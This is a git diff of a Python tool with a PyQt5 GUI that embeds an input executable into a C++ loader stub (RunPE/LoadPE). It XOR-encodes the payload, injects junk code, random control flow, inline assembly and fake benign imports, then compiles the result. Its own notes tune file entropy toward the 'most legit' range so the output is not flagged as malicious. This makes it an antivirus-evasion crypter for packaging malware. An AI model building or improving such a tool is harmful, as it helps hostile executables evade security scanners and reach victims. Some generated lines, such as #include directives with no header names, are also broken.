diff --git a/gui.py b/gui.py index 805f66c..7f228d6 100644 --- a/gui.py +++ b/gui.py @@ -9,12 +9,11 @@ """ TODO : - - LoadPE (KEKW) - Good Section sizes - Random Windows API calls (help) Done : - - RunPE + - LoadPE - Junk code - Control flow - IAT obfuscation (adding "normal" imports in addition to the others) @@ -23,6 +22,12 @@ Done : - Code signing - Good entropy - Add resources (random number of random generated bitmaps) --> Not used because it increases the entropy too much + +Note about entropy : + Entropy: between 0 and 8 + "Most legit" range : [4.8; 6.8] + "Most malicious" range : [7.2; 8.0] + Best entropy : 6.4 """ from PyQt5 import QtCore, QtGui, QtWidgets @@ -38,6 +43,7 @@ class Ui_mainWindow(object): self.xor = False self.cflow = False self.junk = False + self.filepath = "" self.icon_path = "" def setupUi(self, mainWindow): @@ -79,7 +85,7 @@ class Ui_mainWindow(object): self.spinBox = QtWidgets.QSpinBox(self.centralwidget) self.spinBox.setGeometry(QtCore.QRect(155, 118, 42, 22)) self.spinBox.setObjectName("spinBox") - self.spinBox.setValue(6) + self.spinBox.setValue(8) self.spinBox.setMinimum(1) self.label_3 = QtWidgets.QLabel(self.centralwidget) self.label_3.setGeometry(QtCore.QRect(120, 122, 47, 13)) @@ -90,7 +96,7 @@ class Ui_mainWindow(object): self.spinBox_2 = QtWidgets.QSpinBox(self.centralwidget) self.spinBox_2.setGeometry(QtCore.QRect(155, 138, 42, 22)) self.spinBox_2.setObjectName("spinBox_2") - self.spinBox_2.setValue(2) + self.spinBox_2.setValue(3) self.spinBox_2.setMinimum(1) self.checkBox_3 = QtWidgets.QCheckBox(self.centralwidget) self.checkBox_3.setGeometry(QtCore.QRect(20, 140, 91, 16)) @@ -135,8 +141,8 @@ class Ui_mainWindow(object): self.checkBox_3.setText(_translate("mainWindow", "Control flow")) def generate(self) : - in_filename = self.pushButton.text() - out_filename = in_filename.split(".")[0] + "_out.exe" + in_filename = self.filepath + out_filename = self.pushButton.text().split(".")[0] + "_out.exe" xor_key = '' if self.xor : @@ -151,7 +157,8 @@ class Ui_mainWindow(object): self.label_2.setText("Creating sample header...") QCoreApplication.processEvents() - + + print(f"Filename : {in_filename}") file = bytearray(open(in_filename, 'rb').read()) with open("sample.h", 'w') as output: output.write("unsigned char sample[] = { ") @@ -171,6 +178,7 @@ class Ui_mainWindow(object): # Working with a copy of main.cpp os.rename("main.cpp", "DO_NOT_TOUCH.cpp") shutil.copyfile('DO_NOT_TOUCH.cpp', 'main.cpp') + with open("config.h", "w") as c : c.write(f'#pragma once\n#define KEY "{xor_key}"') @@ -192,7 +200,7 @@ class Ui_mainWindow(object): vs_path = os.popen("\"%ProgramFiles(x86)%/Microsoft Visual Studio/Installer/vswhere.exe\" -nologo -latest -property installationPath").read().replace("\n","") #https://stackoverflow.com/questions/46223916/msbuild-exe-not-found-cmd-exe cmd_line = vs_path + "\\Msbuild\\Current\\Bin\\MSBuild.exe" - + return_code = os.system("\""+cmd_line+"\" . /p:Configuration=Release;Platform=x86;OutDir=.;DebugSymbols=false;DebugType=None;Zm=5000;TargetExt=.exe;TargetName="+out_filename.replace(".exe", "")+" /t:Rebuild") if return_code : @@ -240,6 +248,7 @@ class Ui_mainWindow(object): if filePath: # Display the selected file path in the QLineEdit self.pushButton.setText(filePath.split("/")[-1:][0]) + self.filepath = filePath def IconfileDialog(self): diff --git a/obfuscation.py b/obfuscation.py index 444259c..a7dc964 100644 --- a/obfuscation.py +++ b/obfuscation.py @@ -10,7 +10,7 @@ Creates : - Random control flow """ -types = ["short", "unsigned short", "int", "unsigned int", "long", "unsigned long", "float", "double"] +types = ["short", "unsigned short", "int", "unsigned int", "long", "unsigned long"] #"float", "double"] operations = ["-", "+", "^", "*", "/"] global_vars = {} functions = [] @@ -60,8 +60,10 @@ def GetRandomFunction() : functions.append(name) body = "int "+name+"(const char* a1) {\n" + body += "\tif (a1 <= (void*)0x00100000) return 0;\n" + body += "\tchar aaa = ((char)((int)'0' + 1));\n" body += f"\tint bb = {GetRandomNumber()};\n" - body += "\tfor (int i = 0; i < 10; i++) {\n\t\tCreateMutexA(NULL, false, a1);\n\t\tbb++;\n\t}\n\treturn bb;\n}" + body += "\tfor (int i = 0; i < 10; i++) {\n\t\tCreateMutexA(NULL, false, &aaa);\n\t\tbb++;\n\t}\n\treturn bb;\n}" return body @@ -79,7 +81,7 @@ def GetAsmBlock(branch1, branch2, var, end, sub) : """+branch1+""":""" - if GetRandomRange(0, 4) > 1 : + if GetRandomRange(0, 4) > 2 : branch1 = GetRandomString(20) branch2_ = GetRandomString(20) asm_block += GetAsmBlock(branch1, branch2_, var, end, sub) @@ -100,7 +102,7 @@ def GetRandomAssemblyBlock() : r = """const char* """+var+""" = \""""+GetRandomString(5)+"""\";\n__asm {""" - for i in range(GetRandomRange(0, 30)) : + for i in range(GetRandomRange(0, 15)) : branch1 = GetRandomString(20) branch2 = GetRandomString(20) end = GetRandomString(20) @@ -113,11 +115,11 @@ def generate_switch_statement(variable_name, exit_value, depth=0): indent = " " * depth switch_code = f"{indent}switch ({variable_name}) {{\n" - num_cases = GetRandomRange(2, 5) + num_cases = GetRandomRange(1, 4) for _ in range(num_cases): case_value = GetRandomRange(1, 10**6) switch_code += f"{indent} case {case_value}:\n" - if depth < 2 and GetRandomRange(0, 4) > 1 : + if depth < 2 and GetRandomRange(0, 4) > 2 : switch_code += generate_switch_statement(variable_name, exit_value, depth + 1) else: switch_code += f"{indent} {{\n" @@ -145,7 +147,8 @@ def GetRandomControlFlow(): cpp_code += " }\n" return cpp_code - + +FILES_TO_OBFUSCATE = {"main.cpp":"DO_NOT_TOUCH.cpp"}# "getapi.cpp":"DO_NOT_TOUCH_API.cpp"} def obfuscate(PASS, CFLOW_PASS, cflow, junk) : if PASS < CFLOW_PASS : PASS = CFLOW_PASS @@ -156,133 +159,151 @@ def obfuscate(PASS, CFLOW_PASS, cflow, junk) : global in_func func_def_pattern = r'\b\w+\s+\w+\s*\([^)]*\)\s*' - f = open("DO_NOT_TOUCH.cpp", "r") - o = open("main.cpp", "w") - out = [] - - lines = f.readlines() - for k in range(PASS) : - in_comment = False - in_switch = False - in_asm = False - can_code = False - wait_for_func_close = False - global_vars = {} - functions = [] + for outfile, infile in FILES_TO_OBFUSCATE.items(): + if PASS == 0 : break; + + f = open(infile, "r") + o = open(outfile, "w") out = [] - idx = 0 - for line in lines : - idx += 1 - out.append(line) - - if idx+1 < len(lines)-1 and "//END" in lines[idx+1] or "//END" in line: - in_func = False - wait_for_func_close = True - continue - if wait_for_func_close and "}" in line : - in_func = False - wait_for_func_close = False - continue - if wait_for_func_close : - continue - - if "//START" in line : in_func = True - if "/*" in line : in_comment = True - elif "*/" in line : in_comment = False - if "switch" in line : in_switch = True - elif in_switch and "}" in line : in_switch = False - if "__asm" in line : in_asm = True - elif in_asm and "}" in line : in_asm = False - if "// Your code here" in line : - #can_code = True - pass - elif "break;" in line and can_code : - can_code = False - - a = "{" in line or "}" in line or "#" in line - b = re.search(func_def_pattern, line) != None - - if not can_code : - if b or a or in_comment or in_switch or in_asm : continue # we can't write - if GetRandomBool() and junk : # do we create a variable ? - out.append(GetRandomVar()+"\n") - - if GetRandomBool() and in_func and junk: # do we do an operation on globals ? - out.append(GetRandomOperation()+"\n") + lines = f.readlines() + for k in range(PASS) : + in_comment = False + in_switch = False + in_asm = False + in_dowhile = False + can_code = False + wait_for_func_close = False + in_debug = False + global_vars = {} + functions = [] + out = [] + idx = 0 + for line in lines : + idx += 1 + out.append(line) - if GetRandomBool() and not in_func : # do we create a function ? - out.append(GetRandomFunction()+"\n") - - if GetRandomBool() and in_func : # do we call a function ? - out.append(CallRandomFunction()+"\n") - - if GetRandomBool() and in_func and cflow and k < CFLOW_PASS : # do we mess up control flow ? - out.append(GetRandomAssemblyBlock()+"\n") - - if GetRandomBool() and in_func and cflow and k < CFLOW_PASS : # do we mess up control flow ? - out.append(GetRandomControlFlow()+"\n") + if idx+1 < len(lines)-1 and "//END" in lines[idx+1] or "//END" in line: + in_func = False + wait_for_func_close = True + continue + if wait_for_func_close and "}" in line : + in_func = False + wait_for_func_close = False + continue + if wait_for_func_close : + continue + + if "//START" in line : in_func = True + if "/*" in line : in_comment = True + elif "*/" in line : in_comment = False + if "switch" in line : in_switch = True + elif in_switch and "}" in line : in_switch = False + if "__asm" in line : in_asm = True + elif in_asm and "}" in line : in_asm = False + if "// Your code here" in line : + #can_code = True + pass + elif "break;" in line and can_code : + can_code = False + if "#ifdef _DEBUG" in line : + in_debug = True + elif in_debug and "#endif" in line : + in_debug = False + continue + if "do {" in line : + in_dowhile = True + elif in_dowhile and "while" in line : + in_dowhile = False + continue + + if in_debug : continue + if in_dowhile : continue + a = "{" in line or "}" in line or "#" in line + b = re.search(func_def_pattern, line) != None + + if not can_code : + if b or a or in_comment or in_switch or in_asm : continue # we can't write - lines = out - - fake_api = """#define k_AreFileApisANSI (*(DWORD(WINAPI *)(VOID)) AreFileApisANSI)\r\n -#define k_AssignProcessToJobObject (*(DWORD(WINAPI *)(DWORD,DWORD)) AssignProcessToJobObject)\r\n -#define k_CancelWaitableTimer (*(DWORD(WINAPI *)(DWORD)) CancelWaitableTimer)\r\n -#define k_ClearCommBreak (*(DWORD(WINAPI *)(DWORD)) ClearCommBreak)\r\n -#define k_ClearCommError (*(DWORD(WINAPI *)(DWORD,DWORD,DWORD)) ClearCommError)\r\n -#define k_ConvertFiberToThread (*(DWORD(WINAPI *)(VOID)) ConvertFiberToThread)\r\n -#define k_ConvertThreadToFiber (*(DWORD(WINAPI *)(DWORD)) ConvertThreadToFiber)\r\n -#define k_CreateFiber (*(DWORD(WINAPI *)(DWORD,DWORD,DWORD)) CreateFiber)\r\n -#define k_CreateFiberEx (*(DWORD(WINAPI *)(DWORD,DWORD,DWORD,DWORD,DWORD)) CreateFiberEx)\r\n -#define k_CreateIoCompletionPort (*(DWORD(WINAPI *)(DWORD,DWORD,DWORD,DWORD)) CreateIoCompletionPort)\r\n""" - - static_imports = """DWORD USER3221_Array[] = { (DWORD)GetWindowLongA, (DWORD)wvsprintfA, (DWORD)SetWindowPos, (DWORD)FindWindowA,\r\n -(DWORD)RedrawWindow, (DWORD)GetWindowTextA, (DWORD)EnableWindow, (DWORD)GetSystemMetrics,\r\n -(DWORD)IsWindow, (DWORD)CheckRadioButton, (DWORD)UnregisterClassA, (DWORD)SetCursor,\r\n -(DWORD)GetSysColorBrush, (DWORD)DialogBoxParamA, (DWORD)DestroyAcceleratorTable, (DWORD)DispatchMessageA,\r\n -(DWORD)TranslateMessage, (DWORD)LoadIconA, (DWORD)EmptyClipboard, (DWORD)SetClipboardData, (DWORD)SetFocus,\r\n -(DWORD)CharUpperA, (DWORD)OpenClipboard, (DWORD)IsDialogMessageA, (DWORD)TranslateAcceleratorA, (DWORD)GetMessageA,\r\n -(DWORD)LoadAcceleratorsA, (DWORD)RemoveMenu, (DWORD)InvalidateRect, (DWORD)ChildWindowFromPoint, (DWORD)PostMessageA,\r\n -(DWORD)DestroyCursor, (DWORD)CreateDialogParamA, (DWORD)GetWindowRect, (DWORD)IsMenu, (DWORD)GetSubMenu, (DWORD)SetDlgItemInt,\r\n -(DWORD)GetWindowPlacement, (DWORD)CharLowerBuffA, (DWORD)EnableMenuItem, (DWORD)CheckMenuRadioItem, (DWORD)GetSysColor,\r\n -(DWORD)KillTimer, (DWORD)DestroyIcon, (DWORD)DestroyWindow, (DWORD)PostQuitMessage, (DWORD)GetClientRect, (DWORD)MoveWindow,\r\n -(DWORD)GetSystemMenu, (DWORD)SetTimer, (DWORD)SetWindowPlacement, (DWORD)InsertMenuItemA, (DWORD)GetMenu, (DWORD)CheckMenuItem,\r\n -(DWORD)SetMenuItemInfoA, (DWORD)SetActiveWindow, (DWORD)DefDlgProcA, (DWORD)RegisterClassA, (DWORD)EndDialog, (DWORD)SetDlgItemTextA,\r\n -(DWORD)EnumClipboardFormats, (DWORD)GetClipboardData, (DWORD)CloseClipboard, (DWORD)GetClassInfoA, (DWORD)CallWindowProcA,\r\n -(DWORD)SetWindowLongA, (DWORD)IsDlgButtonChecked, (DWORD)SetWindowTextA, (DWORD)CheckDlgButton, (DWORD)GetActiveWindow, (DWORD)LoadCursorA,\r\n -(DWORD)MessageBoxA, (DWORD)wsprintfA, (DWORD)GetDlgItemTextA, (DWORD)SendMessageA, (DWORD)GetCursorPos, (DWORD)TrackPopupMenu,\r\n -(DWORD)ClientToScreen, (DWORD)DestroyMenu, (DWORD)CreatePopupMenu, (DWORD)AppendMenuA, (DWORD)SendDlgItemMessageA, (DWORD)GetDlgItem };\r\n -\r\n -DWORD GDI32121_Array[] = { (DWORD)GetObjectA, (DWORD)GetStockObject, (DWORD)DeleteObject, (DWORD)SetBkMode, (DWORD)SetTextColor, (DWORD)CreateFontIndirectA, (DWORD)SelectObject };\r\n -\r\n -DWORD comdlg3218_Array[] = { (DWORD)GetOpenFileNameA, (DWORD)GetSaveFileNameA };\r\n -\r\n -DWORD ADVAPI32214_Array[] = { (DWORD)RegCreateKeyA, (DWORD)RegSetValueA, (DWORD)GetUserNameA, (DWORD)RegCloseKey,\r\n -(DWORD)RegOpenKeyExA, (DWORD)AdjustTokenPrivileges, (DWORD)LookupPrivilegeValueA, (DWORD)OpenProcessToken, (DWORD)RegQueryValueExA, (DWORD)RegDeleteKeyA };\r\n -\r\n""" + if GetRandomBool() and junk and k < PASS : # do we create a variable ? + out.append(GetRandomVar()+"\n") - fake_libs = """#pragma comment(lib,\"user32.lib\")\r\n -#pragma comment(lib,\"Comdlg32.lib\")\r\n -#pragma comment(lib,\"UrlMon.lib\")\r\n -#pragma comment(lib,\"Shell32.lib\")\r\n -#pragma comment(lib,\"oledlg.lib\")\r\n -#pragma comment(lib,\"Ole32.lib\")\r\n -#pragma comment(lib,\"AdvApi32.lib\")\r\n -#pragma comment(lib,\"WinInet.lib\")\r\n -#pragma comment(lib,\"Gdi32.lib\")\r\n -#pragma comment(lib,\"WS2_32.lib\")\r\n -#pragma comment(lib,\"opengl32.lib\")\r\n""" + if GetRandomBool() and in_func and junk and k < PASS : # do we do an operation on globals ? + out.append(GetRandomOperation()+"\n") + + if GetRandomBool() and not in_func : # do we create a function ? + out.append(GetRandomFunction()+"\n") + + if GetRandomBool() and in_func : # do we call a function ? + out.append(CallRandomFunction()+"\n") + + if GetRandomBool() and in_func and cflow and k < CFLOW_PASS : # do we mess up control flow ? + out.append(GetRandomAssemblyBlock()+"\n") + + if GetRandomBool() and in_func and cflow and k < CFLOW_PASS : # do we mess up control flow ? + out.append(GetRandomControlFlow()+"\n") - fake_includes = """#include \r\n -#include \r\n -#include \r\n -#include \r\n -#include \r\n -#include \r\n -#include \r\n""" + lines = out + + fake_api = """#define k_AreFileApisANSI (*(DWORD(WINAPI *)(VOID)) AreFileApisANSI)\r\n + #define k_AssignProcessToJobObject (*(DWORD(WINAPI *)(DWORD,DWORD)) AssignProcessToJobObject)\r\n + #define k_CancelWaitableTimer (*(DWORD(WINAPI *)(DWORD)) CancelWaitableTimer)\r\n + #define k_ClearCommBreak (*(DWORD(WINAPI *)(DWORD)) ClearCommBreak)\r\n + #define k_ClearCommError (*(DWORD(WINAPI *)(DWORD,DWORD,DWORD)) ClearCommError)\r\n + #define k_ConvertFiberToThread (*(DWORD(WINAPI *)(VOID)) ConvertFiberToThread)\r\n + #define k_ConvertThreadToFiber (*(DWORD(WINAPI *)(DWORD)) ConvertThreadToFiber)\r\n + #define k_CreateFiber (*(DWORD(WINAPI *)(DWORD,DWORD,DWORD)) CreateFiber)\r\n + #define k_CreateFiberEx (*(DWORD(WINAPI *)(DWORD,DWORD,DWORD,DWORD,DWORD)) CreateFiberEx)\r\n + #define k_CreateIoCompletionPort (*(DWORD(WINAPI *)(DWORD,DWORD,DWORD,DWORD)) CreateIoCompletionPort)\r\n""" + + static_imports = """DWORD USER3221_Array[] = { (DWORD)GetWindowLongA, (DWORD)wvsprintfA, (DWORD)SetWindowPos, (DWORD)FindWindowA,\r\n + (DWORD)RedrawWindow, (DWORD)GetWindowTextA, (DWORD)EnableWindow, (DWORD)GetSystemMetrics,\r\n + (DWORD)IsWindow, (DWORD)CheckRadioButton, (DWORD)UnregisterClassA, (DWORD)SetCursor,\r\n + (DWORD)GetSysColorBrush, (DWORD)DialogBoxParamA, (DWORD)DestroyAcceleratorTable, (DWORD)DispatchMessageA,\r\n + (DWORD)TranslateMessage, (DWORD)LoadIconA, (DWORD)EmptyClipboard, (DWORD)SetClipboardData, (DWORD)SetFocus,\r\n + (DWORD)CharUpperA, (DWORD)OpenClipboard, (DWORD)IsDialogMessageA, (DWORD)TranslateAcceleratorA, (DWORD)GetMessageA,\r\n + (DWORD)LoadAcceleratorsA, (DWORD)RemoveMenu, (DWORD)InvalidateRect, (DWORD)ChildWindowFromPoint, (DWORD)PostMessageA,\r\n + (DWORD)DestroyCursor, (DWORD)CreateDialogParamA, (DWORD)GetWindowRect, (DWORD)IsMenu, (DWORD)GetSubMenu, (DWORD)SetDlgItemInt,\r\n + (DWORD)GetWindowPlacement, (DWORD)CharLowerBuffA, (DWORD)EnableMenuItem, (DWORD)CheckMenuRadioItem, (DWORD)GetSysColor,\r\n + (DWORD)KillTimer, (DWORD)DestroyIcon, (DWORD)DestroyWindow, (DWORD)PostQuitMessage, (DWORD)GetClientRect, (DWORD)MoveWindow,\r\n + (DWORD)GetSystemMenu, (DWORD)SetTimer, (DWORD)SetWindowPlacement, (DWORD)InsertMenuItemA, (DWORD)GetMenu, (DWORD)CheckMenuItem,\r\n + (DWORD)SetMenuItemInfoA, (DWORD)SetActiveWindow, (DWORD)DefDlgProcA, (DWORD)RegisterClassA, (DWORD)EndDialog, (DWORD)SetDlgItemTextA,\r\n + (DWORD)EnumClipboardFormats, (DWORD)GetClipboardData, (DWORD)CloseClipboard, (DWORD)GetClassInfoA, (DWORD)CallWindowProcA,\r\n + (DWORD)SetWindowLongA, (DWORD)IsDlgButtonChecked, (DWORD)SetWindowTextA, (DWORD)CheckDlgButton, (DWORD)GetActiveWindow, (DWORD)LoadCursorA,\r\n + (DWORD)MessageBoxA, (DWORD)wsprintfA, (DWORD)GetDlgItemTextA, (DWORD)SendMessageA, (DWORD)GetCursorPos, (DWORD)TrackPopupMenu,\r\n + (DWORD)ClientToScreen, (DWORD)DestroyMenu, (DWORD)CreatePopupMenu, (DWORD)AppendMenuA, (DWORD)SendDlgItemMessageA, (DWORD)GetDlgItem };\r\n + \r\n + DWORD GDI32121_Array[] = { (DWORD)GetObjectA, (DWORD)GetStockObject, (DWORD)DeleteObject, (DWORD)SetBkMode, (DWORD)SetTextColor, (DWORD)CreateFontIndirectA, (DWORD)SelectObject };\r\n + \r\n + DWORD comdlg3218_Array[] = { (DWORD)GetOpenFileNameA, (DWORD)GetSaveFileNameA };\r\n + \r\n + DWORD ADVAPI32214_Array[] = { (DWORD)RegCreateKeyA, (DWORD)RegSetValueA, (DWORD)GetUserNameA, (DWORD)RegCloseKey,\r\n + (DWORD)RegOpenKeyExA, (DWORD)AdjustTokenPrivileges, (DWORD)LookupPrivilegeValueA, (DWORD)OpenProcessToken, (DWORD)RegQueryValueExA, (DWORD)RegDeleteKeyA };\r\n + \r\n""" - out.insert(0, fake_api) - out.insert(0, static_imports) - out.insert(0, fake_libs) - out.insert(0, fake_includes) - o.writelines(out) \ No newline at end of file + fake_libs = """#pragma comment(lib,\"user32.lib\")\r\n + #pragma comment(lib,\"Comdlg32.lib\")\r\n + #pragma comment(lib,\"UrlMon.lib\")\r\n + #pragma comment(lib,\"Shell32.lib\")\r\n + #pragma comment(lib,\"oledlg.lib\")\r\n + #pragma comment(lib,\"Ole32.lib\")\r\n + #pragma comment(lib,\"AdvApi32.lib\")\r\n + #pragma comment(lib,\"WinInet.lib\")\r\n + #pragma comment(lib,\"Gdi32.lib\")\r\n + #pragma comment(lib,\"WS2_32.lib\")\r\n + #pragma comment(lib,\"opengl32.lib\")\r\n""" + + fake_includes = """#include \r\n + #include \r\n + #include \r\n + #include \r\n + #include \r\n + #include \r\n + #include \r\n""" + + if outfile == "main.cpp" : + out.insert(0, fake_api) + out.insert(0, static_imports) + out.insert(0, fake_libs) + out.insert(0, fake_includes) + o.writelines(out) \ No newline at end of file